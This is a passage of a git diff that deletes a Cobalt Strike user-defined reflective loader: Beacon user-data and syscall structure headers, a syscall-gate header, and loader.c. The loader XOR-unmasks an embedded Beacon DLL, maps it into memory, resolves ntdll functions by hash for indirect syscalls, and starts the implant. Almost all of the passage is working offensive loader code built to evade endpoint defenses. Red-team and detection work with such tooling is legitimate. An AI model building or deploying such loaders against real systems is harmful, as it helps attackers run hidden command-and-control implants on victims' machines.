-} ALLOCATED_MEMORY_PURPOSE; - -typedef enum { - LABEL_EMPTY, - LABEL_BUFFER, - LABEL_PEHEADER, - LABEL_TEXT, - LABEL_RDATA, - LABEL_DATA, - LABEL_PDATA, - LABEL_RELOC, - LABEL_USER_DEFINED = 1000 -} ALLOCATED_MEMORY_LABEL; - -typedef enum { - METHOD_UNKNOWN, - METHOD_VIRTUALALLOC, - METHOD_HEAPALLOC, - METHOD_MODULESTOMP, - METHOD_NTMAPVIEW, - METHOD_USER_DEFINED = 1000, -} ALLOCATED_MEMORY_ALLOCATION_METHOD; - -typedef struct _HEAPALLOC_INFO { - PVOID HeapHandle; - BOOL DestroyHeap; -} HEAPALLOC_INFO, *PHEAPALLOC_INFO; - -typedef struct _MODULESTOMP_INFO { - HMODULE ModuleHandle; -} MODULESTOMP_INFO, *PMODULESTOMP_INFO; - -typedef union _ALLOCATED_MEMORY_ADDITIONAL_CLEANUP_INFORMATION { - HEAPALLOC_INFO HeapAllocInfo; - MODULESTOMP_INFO ModuleStompInfo; - PVOID Custom; -} ALLOCATED_MEMORY_ADDITIONAL_CLEANUP_INFORMATION, *PALLOCATED_MEMORY_ADDITIONAL_CLEANUP_INFORMATION; - -typedef struct _ALLOCATED_MEMORY_CLEANUP_INFORMATION { - BOOL Cleanup; - ALLOCATED_MEMORY_ALLOCATION_METHOD AllocationMethod; - ALLOCATED_MEMORY_ADDITIONAL_CLEANUP_INFORMATION AdditionalCleanupInformation; -} ALLOCATED_MEMORY_CLEANUP_INFORMATION, *PALLOCATED_MEMORY_CLEANUP_INFORMATION; - -typedef struct _ALLOCATED_MEMORY_SECTION { - ALLOCATED_MEMORY_LABEL Label; // A label to simplify Sleepmask development - PVOID BaseAddress; // Pointer to virtual address of section - SIZE_T VirtualSize; // Virtual size of the section - DWORD CurrentProtect; // Current memory protection of the section - DWORD PreviousProtect; // The previous memory protection of the section (prior to masking/unmasking) - BOOL MaskSection; // A boolean to indicate whether the section should be masked -} ALLOCATED_MEMORY_SECTION, *PALLOCATED_MEMORY_SECTION; - -typedef struct _ALLOCATED_MEMORY_REGION { - ALLOCATED_MEMORY_PURPOSE Purpose; // A label to indicate the purpose of the allocated memory - PVOID AllocationBase; // The base address of the allocated memory block - SIZE_T RegionSize; // The size of the allocated memory block - DWORD Type; // The type of memory allocated - ALLOCATED_MEMORY_SECTION Sections[8]; // An array of section information structures - ALLOCATED_MEMORY_CLEANUP_INFORMATION CleanupInformation; // Information required to cleanup the allocation -} ALLOCATED_MEMORY_REGION, *PALLOCATED_MEMORY_REGION; - -typedef struct { - ALLOCATED_MEMORY_REGION AllocatedMemoryRegions[6]; -} ALLOCATED_MEMORY, *PALLOCATED_MEMORY; - -typedef struct -{ - PVOID fnAddr; - PVOID jmpAddr; - DWORD sysnum; -} SYSCALL_API_ENTRY, *PSYSCALL_API_ENTRY; - -typedef struct -{ - SYSCALL_API_ENTRY ntAllocateVirtualMemory; - SYSCALL_API_ENTRY ntProtectVirtualMemory; - SYSCALL_API_ENTRY ntFreeVirtualMemory; - SYSCALL_API_ENTRY ntGetContextThread; - SYSCALL_API_ENTRY ntSetContextThread; - SYSCALL_API_ENTRY ntResumeThread; - SYSCALL_API_ENTRY ntCreateThreadEx; - SYSCALL_API_ENTRY ntOpenProcess; - SYSCALL_API_ENTRY ntOpenThread; - SYSCALL_API_ENTRY ntClose; - SYSCALL_API_ENTRY ntCreateSection; - SYSCALL_API_ENTRY ntMapViewOfSection; - SYSCALL_API_ENTRY ntUnmapViewOfSection; - SYSCALL_API_ENTRY ntQueryVirtualMemory; - SYSCALL_API_ENTRY ntDuplicateObject; - SYSCALL_API_ENTRY ntReadVirtualMemory; - SYSCALL_API_ENTRY ntWriteVirtualMemory; - SYSCALL_API_ENTRY ntReadFile; - SYSCALL_API_ENTRY ntWriteFile; - SYSCALL_API_ENTRY ntCreateFile; - SYSCALL_API_ENTRY ntQueueApcThread; - SYSCALL_API_ENTRY ntCreateProcess; - SYSCALL_API_ENTRY ntOpenProcessToken; - SYSCALL_API_ENTRY ntTestAlert; - SYSCALL_API_ENTRY ntSuspendProcess; - SYSCALL_API_ENTRY ntResumeProcess; - SYSCALL_API_ENTRY ntQuerySystemInformation; - SYSCALL_API_ENTRY ntQueryDirectoryFile; - SYSCALL_API_ENTRY ntSetInformationProcess; - SYSCALL_API_ENTRY ntSetInformationThread; - SYSCALL_API_ENTRY ntQueryInformationProcess; - SYSCALL_API_ENTRY ntQueryInformationThread; - SYSCALL_API_ENTRY ntOpenSection; - SYSCALL_API_ENTRY ntAdjustPrivilegesToken; - SYSCALL_API_ENTRY ntDeviceIoControlFile; - SYSCALL_API_ENTRY ntWaitForMultipleObjects; -} SYSCALL_API, *PSYSCALL_API; - -/* Additional Run Time Library (RTL) addresses used to support system calls. - * If they are not set then system calls that require them will fall back - * to the Standard Windows API. - * - * Required to support the following system calls: - * ntCreateFile - */ -typedef struct -{ - PVOID rtlDosPathNameToNtPathNameUWithStatusAddr; - PVOID rtlFreeHeapAddr; - PVOID rtlGetProcessHeapAddr; -} RTL_API, *PRTL_API; - -typedef struct -{ - SYSCALL_API syscalls; - RTL_API rtls; -} BEACON_SYSCALLS, *PBEACON_SYSCALLS; - -/* Beacon User Data - * - * version format: 0xMMmmPP, where MM = Major, mm = Minor, and PP = Patch - * e.g. 0x040900 -> CS 4.9 - * 0x041000 -> CS 4.10 -*/ - -#define COBALT_STRIKE_VERSION 0x041100 -#define BOF_MEMORY_SIZE 0x10000 -#define SLEEPMASK_MEMORY_SIZE 0x10000 - -#define DLL_BEACON_START 0x04 -#define DLL_BEACON_USER_DATA 0x0d - -#define BEACON_USER_DATA_CUSTOM_SIZE 32 - -typedef struct -{ - unsigned int version; - PSYSCALL_API syscalls; - char custom[BEACON_USER_DATA_CUSTOM_SIZE]; - PRTL_API rtls; - PALLOCATED_MEMORY allocatedMemory; -} USER_DATA, * PUSER_DATA; \ No newline at end of file diff --git a/udrl/src/gate.h b/udrl/src/gate.h deleted file mode 100644 index 64de2c2..0000000 --- a/udrl/src/gate.h +++ /dev/null @@ -1,10 +0,0 @@ -#include - -typedef struct { - DWORD ssn; - PVOID jmpAddr; -} SYSCALL_GATE; - -BOOL GetSyscall (PVOID ntdll, PVOID func, SYSCALL_GATE * gate); -void PrepareSyscall (DWORD ssn, PVOID addr); -void DoSyscall (); \ No newline at end of file diff --git a/udrl/src/loader.c b/udrl/src/loader.c deleted file mode 100644 index 3a0ce91..0000000 --- a/udrl/src/loader.c +++ /dev/null @@ -1,295 +0,0 @@ -/* - * Copyright 2025 Raphael Mudge, Adversary Fan Fiction Writers Guild - * - * Redistribution and use in source and binary forms, with or without modification, are - * permitted provided that the following conditions are met: - * - * 1. Redistributions of source code must retain the above copyright notice, this list of - * conditions and the following disclaimer. - * - * 2. Redistributions in binary form must reproduce the above copyright notice, this list of - * conditions and the following disclaimer in the documentation and/or other materials provided - * with the distribution. - * - * 3. Neither the name of the copyright holder nor the names of its contributors may be used to - * endorse or promote products derived from this software without specific prior written - * permission. - * - * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS “AS IS” AND ANY EXPRESS - * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF - * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE - * COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, - * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF - * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) - * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR - * TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, - * EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. - */ - -#include -#include "beacon.h" -#include "gate.h" -#include "tcg.h" - -DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$VirtualAlloc (LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect); -DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualProtect (LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect); -DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualFree (LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType); -DECLSPEC_IMPORT int WINAPIV MSVCRT$strncmp (const char * string1, const char * string2, size_t count); - -#define NTDLL_HASH 0x3CFA685D - -#define memset(x, y, z) __stosb((unsigned char *)x, y, z); - -#define GETRESOURCE(x) (char *)&x - -char _DLL_[0] __attribute__((section("dll"))); -char _KEY_[0] __attribute__((section("key"))); - -typedef struct { - int length; - char value[]; -} RESOURCE; - -typedef struct _PEB_LDR_DATA { - DWORD dwLength; - DWORD dwInitialized; - LPVOID lpSsHandle; - LIST_ENTRY InLoadOrderModuleList; - LIST_ENTRY InMemoryOrderModuleList; - LIST_ENTRY InInitializationOrderModuleList; - LPVOID lpEntryInProgress; -} PEB_LDR_DATA, * PPEB_LDR_DATA; - -typedef struct __PEB { - BYTE bInheritedAddressSpace; - BYTE bReadImageFileExecOptions; - BYTE bBeingDebugged; - BYTE bSpareBool; - LPVOID lpMutant; - LPVOID lpImageBaseAddress; - PPEB_LDR_DATA pLdr; - LPVOID lpProcessParameters; - LPVOID lpSubSystemData; - LPVOID lpProcessHeap; -} _PEB, * _PPEB; - -char * resolve(DWORD modHash, DWORD funcHash) { - char * hModule = (char *)findModuleByHash(modHash); - return findFunctionByHash(hModule, funcHash); -} - -void ResolveSyscallEntry(PVOID ntdll, PVOID func, SYSCALL_API_ENTRY * entry) -{ - SYSCALL_GATE gate; - memset(&gate, 0, sizeof(SYSCALL_GATE)); - - if (GetSyscall(ntdll, func, &gate)) - { - entry->fnAddr = func; - entry->sysnum = gate.ssn; - entry->jmpAddr = gate.jmpAddr; - } -} - -void ResolveSyscalls(SYSCALL_API * syscalls) -{ - char * ntdll = findModuleByHash(NTDLL_HASH); - - /* get all the supported Nt functions */ - ResolveSyscallEntry(ntdll, findFunctionByHash(ntdll, 0xD33BCABD), &syscalls->ntAllocateVirtualMemory); - ResolveSyscallEntry(ntdll, findFunctionByHash(ntdll, 0x8C394D89), &syscalls->ntProtectVirtualMemory); - ResolveSyscallEntry(ntdll, findFunctionByHash(ntdll, 0xDB63B5AB), &syscalls->ntFreeVirtualMemory); - ResolveSyscallEntry(ntdll, findFunctionByHash(ntdll, 0xE935E393), &syscalls->ntGetContextThread); - ResolveSyscallEntry(ntdll, findFunctionByHash(ntdll, 0x6935E395), &syscalls->ntSetContextThread); - ResolveSyscallEntry(ntdll, findFunctionByHash(ntdll, 0xC54A46C8), &syscalls->ntResumeThread); - ResolveSyscallEntry(ntdll, findFunctionByHash(ntdll, 0x4D1DEB74), &syscalls->ntCreateThreadEx); - ResolveSyscallEntry(ntdll, findFunctionByHash(ntdll, 0xF0CA9CA0), &syscalls->ntOpenProcess); - ResolveSyscallEntry(ntdll, findFunctionByHash(ntdll, 0x59651E8C), &syscalls->ntOpenThread); - ResolveSyscallEntry(ntdll, findFunctionByHash(ntdll, 0xDCD44C5F), &syscalls->ntClose); - ResolveSyscallEntry(ntdll, findFunctionByHash(ntdll, 0x5BB29BCB), &syscalls->ntCreateSection); - ResolveSyscallEntry(ntdll, findFunctionByHash(ntdll, 0xD5159B94), &syscalls->ntMapViewOfSection); - ResolveSyscallEntry(ntdll, findFunctionByHash(ntdll, 0xF21037D0), &syscalls->ntUnmapViewOfSection); - ResolveSyscallEntry(ntdll, findFunctionByHash(ntdll, 0x4F138492), &syscalls->ntQueryVirtualMemory); - ResolveSyscallEntry(ntdll, findFunctionByHash(ntdll, 0xB55C7785), &syscalls->ntDuplicateObject); - ResolveSyscallEntry(ntdll, findFunctionByHash(ntdll, 0x3AEFA5AA), &syscalls->ntReadVirtualMemory); - ResolveSyscallEntry(ntdll, findFunctionByHash(ntdll, 0xC5108CC2), &syscalls->ntWriteVirtualMemory); - ResolveSyscallEntry(ntdll, findFunctionByHash(ntdll, 0x84FCD516), &syscalls->ntReadFile); - ResolveSyscallEntry(ntdll, findFunctionByHash(ntdll, 0x680E1933), &syscalls->ntWriteFile); - ResolveSyscallEntry(ntdll, findFunctionByHash(ntdll, 0x3888F9D), &syscalls->ntCreateFile); - ResolveSyscallEntry(ntdll, findFunctionByHash(ntdll, 0x52E9A746), &syscalls->ntQueueApcThread); - ResolveSyscallEntry(ntdll, findFunctionByHash(ntdll, 0xB9C75AD6), &syscalls->ntCreateProcess); - ResolveSyscallEntry(ntdll, findFunctionByHash(ntdll, 0x5992A97F), &syscalls->ntOpenProcessToken); - ResolveSyscallEntry(ntdll, findFunctionByHash(ntdll, 0xB163D6A2), &syscalls->ntTestAlert); - ResolveSyscallEntry(ntdll, findFunctionByHash(ntdll, 0x234A15E3), &syscalls->ntSuspendProcess); - ResolveSyscallEntry(ntdll, findFunctionByHash(ntdll, 0x32ADFBCA), &syscalls->ntResumeProcess); - ResolveSyscallEntry(ntdll, findFunctionByHash(ntdll, 0xE4E1CAD6), &syscalls->ntQuerySystemInformation); - ResolveSyscallEntry(ntdll, findFunctionByHash(ntdll, 0x6EF04C50), &syscalls->ntQueryDirectoryFile); - ResolveSyscallEntry(ntdll, findFunctionByHash(ntdll, 0x814EF02C), &syscalls->ntSetInformationProcess); - ResolveSyscallEntry(ntdll, findFunctionByHash(ntdll, 0xE3D6909C), &syscalls->ntSetInformationThread); - ResolveSyscallEntry(ntdll, findFunctionByHash(ntdll, 0xB10FD839), &syscalls->ntQueryInformationProcess); - ResolveSyscallEntry(ntdll, findFunctionByHash(ntdll, 0xD83695), &syscalls->ntQueryInformationThread); - ResolveSyscallEntry(ntdll, findFunctionByHash(ntdll, 0x92B5DD95), &syscalls->ntOpenSection); - ResolveSyscallEntry(ntdll, findFunctionByHash(ntdll, 0xECDFDBE5), &syscalls->ntAdjustPrivilegesToken); - ResolveSyscallEntry(ntdll, findFunctionByHash(ntdll, 0x8408DD38), &syscalls->ntDeviceIoControlFile); - ResolveSyscallEntry(ntdll, findFunctionByHash(ntdll, 0x2DAAD6F4), &syscalls->ntWaitForMultipleObjects); -} - -void ResolveRtlFunctions(RTL_API * rtls) -{ - char * ntdll = findModuleByHash(NTDLL_HASH); - - rtls->rtlDosPathNameToNtPathNameUWithStatusAddr = findFunctionByHash(ntdll, 0x78D569C0); - rtls->rtlFreeHeapAddr = findFunctionByHash(ntdll, 0xDA12B8); - - /* rtlGetProcessHeapAddr is set to the ProcessHeap address from the PEB */ - _PEB * pPEB = (_PEB *)__readgsqword(0x60); - rtls->rtlGetProcessHeapAddr = (void *)pPEB->lpProcessHeap; -} - -ALLOCATED_MEMORY_LABEL GetLabelFromSectionHeader(IMAGE_SECTION_HEADER * sectionHdr) -{ - if (MSVCRT$strncmp((char *)sectionHdr->Name, ".text", IMAGE_SIZEOF_SHORT_NAME) == 0) { - return LABEL_TEXT; - } - else if (MSVCRT$strncmp((char *)sectionHdr->Name, ".rdata", IMAGE_SIZEOF_SHORT_NAME) == 0) { - return LABEL_RDATA; - } - else if (MSVCRT$strncmp((char *)sectionHdr->Name, ".data", IMAGE_SIZEOF_SHORT_NAME) == 0) { - return LABEL_DATA; - } - else if (MSVCRT$strncmp((char *)sectionHdr->Name, ".pdata", IMAGE_SIZEOF_SHORT_NAME) == 0) { - return LABEL_PDATA; - } - else if (MSVCRT$strncmp((char *)sectionHdr->Name, ".reloc", IMAGE_SIZEOF_SHORT_NAME) == 0) { - return LABEL_RELOC; - } - else { - return LABEL_EMPTY; - } -} - -void FixSectionPermissions(DLLDATA * dll, char * dst, ALLOCATED_MEMORY_REGION * region) -{ - DWORD numberOfSections = dll->NtHeaders->FileHeader.NumberOfSections; - IMAGE_SECTION_HEADER * sectionHdr = NULL; - void * sectionDst = NULL; - DWORD sectionSize = 0; - DWORD newProtection = 0; - DWORD oldProtection = 0; - - sectionHdr = (IMAGE_SECTION_HEADER *)PTR_OFFSET(dll->OptionalHeader, dll->NtHeaders->FileHeader.SizeOfOptionalHeader); - - for (int i = 0; i < numberOfSections; i++) - { - sectionDst = dst + sectionHdr->VirtualAddress; - sectionSize = sectionHdr->SizeOfRawData; - - if (sectionHdr->Characteristics & IMAGE_SCN_MEM_WRITE) { - newProtection = PAGE_WRITECOPY; - } - if (sectionHdr->Characteristics & IMAGE_SCN_MEM_READ) { - newProtection = PAGE_READONLY; - } - if ((sectionHdr->Characteristics & IMAGE_SCN_MEM_READ) && (sectionHdr->Characteristics & IMAGE_SCN_MEM_WRITE)) { - newProtection = PAGE_READWRITE; - } - if (sectionHdr->Characteristics & IMAGE_SCN_MEM_EXECUTE) { - newProtection = PAGE_EXECUTE; - } - if ((sectionHdr->Characteristics & IMAGE_SCN_MEM_EXECUTE) && (sectionHdr->Characteristics & IMAGE_SCN_MEM_READ)) { - newProtection = PAGE_EXECUTE_WRITECOPY; - } - if ((sectionHdr->Characteristics & IMAGE_SCN_MEM_EXECUTE) && (sectionHdr->Characteristics & IMAGE_SCN_MEM_READ)) { - newProtection = PAGE_EXECUTE_READ; - } - if ((sectionHdr->Characteristics & IMAGE_SCN_MEM_READ) && (sectionHdr->Characteristics & IMAGE_SCN_MEM_WRITE) && (sectionHdr->Characteristics & IMAGE_SCN_MEM_EXECUTE)) { - newProtection = PAGE_EXECUTE_READWRITE; - } - - KERNEL32$VirtualProtect(sectionDst, sectionSize, newProtection, &oldProtection); - - region->Sections[i].Label = GetLabelFromSectionHeader(sectionHdr); - region->Sections[i].BaseAddress = sectionDst; - region->Sections[i].VirtualSize = sectionSize; - region->Sections[i].CurrentProtect = newProtection; - region->Sections[i].PreviousProtect = newProtection; - region->Sections[i].MaskSection = TRUE; - - sectionHdr++; - } -} - -void go() -{ - IMPORTFUNCS funcs; - funcs.LoadLibraryA = LoadLibraryA; - funcs.GetProcAddress = GetProcAddress; - - /* get the masked dll and key */ - RESOURCE * dll = (RESOURCE *)GETRESOURCE(_DLL_); - RESOURCE * key = (RESOURCE *)GETRESOURCE(_KEY_); - - /* unmask and load into memory */ - char * src = (char *)KERNEL32$VirtualAlloc(NULL, dll->length, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); - for (int i = 0; i < dll->length; i++) { - src[i] = dll->value[i] ^ key->value[i % key->length]; - } - - /* parse beacon headers */ - DLLDATA data; - ParseDLL(src, &data); - - /* load it into new memory */ - char * dst = (char *)KERNEL32$VirtualAlloc(NULL, SizeOfDLL(&data), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); - - LoadDLL(&data, src, dst); - ProcessImports(&funcs, &data, dst); - - /* initialise bud */ - USER_DATA bud; - SYSCALL_API syscalls; - RTL_API rtlFunctions; - ALLOCATED_MEMORY memory; - - memset(&bud, 0, sizeof(USER_DATA)); - memset(&syscalls, 0, sizeof(SYSCALL_API)); - memset(&rtlFunctions, 0, sizeof(RTL_API)); - memset(&memory, 0, sizeof(ALLOCATED_MEMORY)); - - bud.version = COBALT_STRIKE_VERSION; - bud.syscalls = &syscalls; - bud.rtls = &rtlFunctions; - bud.allocatedMemory = &memory; - - /* fix section memory permissions */ - FixSectionPermissions(&data, dst, &bud.allocatedMemory->AllocatedMemoryRegions[0]); - - /* define cleanup information for VirtualAlloc */ - ALLOCATED_MEMORY_CLEANUP_INFORMATION vaCleanup; - memset(&vaCleanup, 0, sizeof(ALLOCATED_MEMORY_CLEANUP_INFORMATION)); - - vaCleanup.AllocationMethod = METHOD_VIRTUALALLOC; - vaCleanup.Cleanup = TRUE; - - /* set the region info for beacon */ - bud.allocatedMemory->AllocatedMemoryRegions[0].Purpose = PURPOSE_BEACON_MEMORY; - bud.allocatedMemory->AllocatedMemoryRegions[0].AllocationBase = dst; - bud.allocatedMemory->AllocatedMemoryRegions[0].RegionSize = data.NtHeaders->OptionalHeader.SizeOfImage; - bud.allocatedMemory->AllocatedMemoryRegions[0].Type = MEM_PRIVATE; - bud.allocatedMemory->AllocatedMemoryRegions[0].CleanupInformation = vaCleanup; - - /* resolve syscall info */ - ResolveSyscalls(&syscalls); - ResolveRtlFunctions(&rtlFunctions); - - /* get the entry point */ - DLLMAIN_FUNC entryPoint = EntryPoint(&data, dst); - - /* free the unmasked copy */ - KERNEL32$VirtualFree(src, 0, MEM_RELEASE); - - /* call entry point */ - entryPoint((HINSTANCE)0, DLL_BEACON_USER_DATA, &bud); - entryPoint((HINSTANCE)dst, DLL_PROCESS_ATTACH, NULL); - entryPoint((HINSTANCE)GETRESOURCE(go), DLL_BEACON_START, NULL); -} \ No newline at end of file